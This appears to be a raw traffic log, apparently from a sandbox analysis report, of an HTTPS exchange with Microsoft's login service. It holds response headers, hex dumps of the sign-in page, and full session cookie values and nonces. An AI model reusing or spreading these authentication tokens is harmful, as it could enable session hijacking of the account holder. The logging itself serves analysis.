esctx-gwvHdQuXFU=AQABCQEAAABVrSpeuWamRam2jAF1XRQEdyqEh8wrZ8Ex1AYZY4REGJWogfQa5qbsjm-XHt0euMDySNJ2AdVvkZFj474Pxalmo35lcW8bijhnOIfLSMJhW9JCcRzEIbF-B3QHz0vwScMyT_xbqvwBBZRLs8D56rOL_xkV8cxuvyyh8EUBzBiqCiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; esctx-24Fe4O2lTOY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEAsG5J4M6nLguGYmo5nwcYDcWdSBHgHne41oqLQQYskEzzfvbHLIsr1R5aknrBLdC-pG2o2AReMafJ6p2lGpHu0aaYdrpj7ZmPcSTJPIhrChzLUYinURrx4c0K0HBSE4mdDmQhHT2bQqJLHBJ3mP8XyAA; MicrosoftApplicationsTelemetryDeviceId=0247eafa-806e-4836-bce9-892906f47bff; brcap=0; buid=1.AQMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAADAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEErHw7Nticw-YBYNsBCG7x5PkSouHZ2uifSRMmWp1_lnTLN4qTKniThpz0zBnuIjMjKe7kciGIaa099t0rwnDRecHUGks_6rQxA68CJnEr9sgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQE-TCsPO1aPQCa_IxwpAlGUuwicIuUuI98J8XwMsM8qxdOeK3nGj7eJQ7PLZfz1NvfK7Vv7XKpkLqb6nevhstqDwDsDgP1kLP9QOSAKDDB0qY0mC2pECTv2pW6NQig7B5kPBbTj7a3UmtyysqjXMYUhInapKa2ff6hagCWQf9duZggAA; esctx-2HIk5Zxz95g=AQABCQEAA [TRUNCATED]
2025-04-01 10:12:49 UTC	2683	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-Frame-Options: DENY Link: <https://aadcdn.msftauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msftauth.net>; rel=dns-prefetch,<https://aadcdn.msauth.net>; rel=dns-prefetch X-DNS-Prefetch-Control: on P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 9010beba-b1b8-43dd-b430-efc6058d2700 x-ms-ests-server: 2.1.20329.5 - EUS ProdSlices report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]} nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-clitelem: 1,0,0,, x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-Vm06vWNu_DeHxQzOeY-V-Q' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://*.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All X-XSS-Protection: 0 Set-Cookie: buid=1.AQMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAADAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQE0IHLa_pUyaI-EVWK-LnrMdoj3DV0CCYuBPDZhhYWx6mM5ZJLNEiyqqqpxyyuqtpsZpUu5bJilmGQxgDiBZCWSAJLNkprT_pb6nE3HJmM5PwgAA; expires=Thu, 01-May-2025 10:12:49 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEG-ISshPYGaTS77fXxLPk_yfUQcD21VuF-8SQorUWnyQh9RvFcykRH3csvDDBBr2mekVEZi3qTFRaMc5U5-zd1hh-vtLbQSPeKTgVhzBTruDMxvpiaIVHKBZ_EK_gC1369vEsF8mJLFpw5qanP1K3IGKgk4XRP1U-WHMLYRoQW5MgAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-KqCKb9oTQI=AQABCQEAAABVrSpeuWamRam2jAF1XRQEGxdIvAmtQxu6yeKrzH9Lzm0dq7Dkzj_wLc-H5hvhYZnSisYpvrZyQL21mFUh0Yn64MUGn86YdadDUaOyksvJZNpvJI4BQAlQvZv2XrPjgvAINbyZsJBO1E2ibMhW7urV2VwQAyqSuVBCodbBvXy4ASAA; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AnxeKz3mi6BEio4rlACbXLa8Ae7AAwAAANSyfd8OAAAA; expires=Thu, 01-May-2025 10:12:49 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 01 Apr 2025 10:12:48 GMT Connection: close Content-Length: 46129
2025-04-01 10:12:49 UTC	13701	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 69 67 6e 20 69 6e 20 74 6f 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head> <title>Sign in to your account</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2025-04-01 10:12:49 UTC	16384	IN	Data Raw: 6f 64 65 22 3a 31 2c 22 66 41 6c 6c 6f 77 50 68 6f 6e 65 53 69 67 6e 49 6e 22 3a 74 72 75 65 2c 22 66 41 6c 6c 6f 77 50 68 6f 6e 65 49 6e 70 75 74 22 3a 74 72 75 65 2c 22 69 4d 61 78 50 6f 6c 6c 45 72 72 6f 72 73 22 3a 35 2c 22 69 50 6f 6c 6c 69 6e 67 54 69 6d 65 6f 75 74 22 3a 36 30 2c 22 73 72 73 53 75 63 63 65 73 73 22 3a 74 72 75 65 2c 22 66 53 68 6f 77 53 77 69 74 63 68 55 73 65 72 22 3a 74 72 75 65 2c 22 61 72 72 56 61 6c 45 72 72 73 22 3a 5b 22 35 30 30 35 38 22 5d 2c 22 73 45 72 72 6f 72 43 6f 64 65 22 3a 22 35 30 30 35 38 22 2c 22 73 57 41 4d 45 78 74 65 6e 73 69 6f 6e 22 3a 22 70 70 6e 62 6e 70 65 6f 6c 67 6b 69 63 67 65 67 6b 62 6b 62 6a 6d 68 6c 69 64 65 6f 70 69 6a 69 22 2c 22 73 57 41 4d 43 68 61 6e 6e 65 6c 22 3a 22 35 33 65 65 32 38 34 64 Data Ascii: ode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sWAMExtension":"ppnbnpeolgkicgegkbkbjmhlideopiji","sWAMChannel":"53ee284d
2025-04-01 10:12:49 UTC	16044	IN	Data Raw: 6f 75 6e 74 72 79 22 3a 22 55 53 22 2c 22 66 42 72 65 61 6b 42 72 61 6e 64 69 6e 67 53 69 67 6e 69 6e 53 74 72 69 6e 67 22 3a 74 72 75 65 2c 22 62 73 73 6f 22 3a 7b 22 73 74 61 74 65 73 22 3a 7b 22 53 54 41 52 54 22 3a 22 73 74 61 72 74 22 2c 22 49 4e 50 52 4f 47 52 45 53 53 22 3a 22 69 6e 2d 70 72 6f 67 72 65 73 73 22 2c 22 45 4e 44 22 3a 22 65 6e 64 22 2c 22 45 4e 44 5f 53 53 4f 22 3a 22 65 6e 64 2d 73 73 6f 22 2c 22 45 4e 44 5f 55 53 45 52 53 22 3a 22 65 6e 64 2d 75 73 65 72 73 22 7d 2c 22 6e 6f 6e 63 65 22 3a 22 41 77 41 42 45 67 45 41 41 41 41 44 41 4f 7a 5f 42 51 44 30 5f 34 31 4e 67 63 44 79 37 73 73 64 36 55 62 6b 70 42 57 44 6c 47 44 6c 43 30 6f 30 45 58 79 68 35 6c 64 48 70 36 6b 57 4b 36 58 31 69 50 35 53 78 58 42 4b 52 75 53 76 56 6f 70 49 70 Data Ascii: ountry":"US","fBreakBrandingSigninString":true,"bsso":{"states":{"START":"start","INPROGRESS":"in-progress","END":"end","END_SSO":"end-sso","END_USERS":"end-users"},"nonce":"AwABEgEAAAADAOz_BQD0_41NgcDy7ssd6UbkpBWDlGDlC0o0EXyh5ldHp6kWK6X1iP5SxXBKRuSvVopIp